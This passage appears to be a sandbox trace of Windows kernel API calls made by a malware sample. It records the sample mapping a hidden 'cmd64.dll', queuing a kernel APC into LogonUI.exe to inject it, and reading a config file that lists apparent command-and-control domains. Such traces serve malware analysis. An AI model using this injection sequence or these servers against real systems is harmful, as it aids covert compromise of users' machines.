Event=0xfffff88002f9d1f0) [0078.302] IdePortDispatch () returned 0x103 [0078.302] KeWaitForMutexObject () returned 0x0 [0078.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.302] IdePortDispatch () returned 0x103 [0078.302] KeWaitForMutexObject () returned 0x0 [0078.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.302] IdePortDispatch () returned 0x103 [0078.303] KeWaitForMutexObject () returned 0x0 [0078.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.303] IdePortDispatch () returned 0x103 [0078.303] KeWaitForMutexObject () returned 0x0 [0078.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.303] IdePortDispatch () returned 0x103 [0078.303] KeWaitForMutexObject () returned 0x0 [0078.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.303] IdePortDispatch () returned 0x103 [0078.304] KeWaitForMutexObject () returned 0x0 [0078.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.304] IdePortDispatch () returned 0x103 [0078.304] KeWaitForMutexObject () returned 0x0 [0078.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.304] IdePortDispatch () returned 0x103 [0078.304] KeWaitForMutexObject () returned 0x0 [0078.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.304] IdePortDispatch () returned 0x103 [0078.304] KeWaitForMutexObject () returned 0x0 [0078.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.305] IdePortDispatch () returned 0x103 [0078.305] KeWaitForMutexObject () returned 0x0 [0078.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.305] IdePortDispatch () returned 0x103 [0078.305] KeWaitForMutexObject () returned 0x0 [0078.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.305] IdePortDispatch () returned 0x103 [0078.306] KeWaitForMutexObject () returned 0x0 [0078.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.306] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.306] IdePortDispatch () returned 0x103 [0078.306] KeWaitForMutexObject () returned 0x0 [0078.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.306] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.306] IdePortDispatch () returned 0x103 [0078.306] KeWaitForMutexObject () returned 0x0 [0078.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.307] IdePortDispatch () returned 0x103 [0078.307] KeWaitForMutexObject () returned 0x0 [0078.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.307] IdePortDispatch () returned 0x103 [0078.307] KeWaitForMutexObject () returned 0x0 [0078.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.307] IdePortDispatch () returned 0x103 [0078.307] KeWaitForMutexObject () returned 0x0 [0078.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.308] IdePortDispatch () returned 0x103 [0078.308] KeWaitForMutexObject () returned 0x0 [0078.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.308] IdePortDispatch () returned 0x103 [0078.308] KeWaitForMutexObject () returned 0x0 [0078.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.308] IdePortDispatch () returned 0x103 [0078.309] KeWaitForMutexObject () returned 0x0 [0078.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.309] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.309] IdePortDispatch () returned 0x103 [0078.309] KeWaitForMutexObject () returned 0x0 [0078.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.309] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0078.309] IdePortDispatch () returned 0x103 [0078.309] KeWaitForMutexObject () returned 0x0 [0078.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.309] KeLeaveCriticalRegion () [0078.309] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.310] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003ec, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0078.310] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0078.310] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0078.310] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003ec, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0078.310] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0078.310] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036602e0 [0078.310] KeInitializeApc (Apc=0xfffffa80036602e0, Thread=0xfffffa8003649320, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0078.310] KeInsertQueueApc (Apc=0xfffffa80036602e0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0078.310] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0078.310] ZwClose (Handle=0x14) returned 0x0 [0078.310] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0078.310] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0078.310] KeEnterCriticalRegion () [0078.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.310] IoGetRequestorProcess (Irp=0xfffffa80036557b0) returned 0xfffffa80018ab040 [0078.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80034e74e0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0078.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.310] KeLeaveCriticalRegion () [0078.310] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.310] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0078.310] PsGetProcessImageFileName () returned 0xfffffa8003656990 [0078.310] _snprintf (in: _Dest=0xfffffa8003661378, _Count=0x103, _Format="%s (x64)" | out: _Dest="LogonUI.exe (x64)") returned 17 [0078.310] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0078.310] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0078.311] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.311] KeEnterCriticalRegion () [0078.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.311] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0078.311] IdePortDispatch () returned 0x103 [0078.311] KeWaitForMutexObject () returned 0x0 [0078.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.311] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0078.311] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0078.311] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0078.311] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003660280 [0078.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.311] KeLeaveCriticalRegion () [0078.311] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.311] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0078.311] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0078.311] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.311] KeEnterCriticalRegion () [0078.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80036557b0, Context=0x0) returned 0x0 [0078.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.311] KeLeaveCriticalRegion () [0078.311] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0078.311] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.311] KeEnterCriticalRegion () [0078.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.311] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0078.311] IdePortDispatch () returned 0x103 [0078.312] KeWaitForMutexObject () returned 0x0 [0078.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.312] KeLeaveCriticalRegion () [0078.312] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.312] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000a8d1d0 [0078.312] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0078.312] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0078.312] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="LogonUI.exe (x64)=") returned 18 [0078.312] _strlwr (in: _Str="LogonUI.exe (x64)=" | out: _Str="logonui.exe (x64)=") returned="logonui.exe (x64)=" [0078.312] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8d1d0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8d1d0*) returned 0x0 [0078.312] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.312] KeEnterCriticalRegion () [0078.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.312] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c911d0 [0078.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0078.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0078.312] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0078.312] IdePortDispatch () returned 0x103 [0078.312] KeWaitForMutexObject () returned 0x0 [0078.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0078.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0078.313] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0078.313] IdePortDispatch () returned 0x103 [0078.313] KeWaitForMutexObject () returned 0x0 [0078.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.313] KeLeaveCriticalRegion () [0078.313] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.313] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0078.313] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="logonui.exe (x64)=") returned 0x0 [0078.313] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0078.313] ExFreePoolWithTag (P=0xfffff8a000a8d1d0, Tag=0x0) [0078.313] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0078.313] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.313] KeEnterCriticalRegion () [0078.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.313] IoGetRequestorProcess (Irp=0xfffffa80036557b0) returned 0xfffffa80018ab040 [0078.313] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003660050, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0078.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 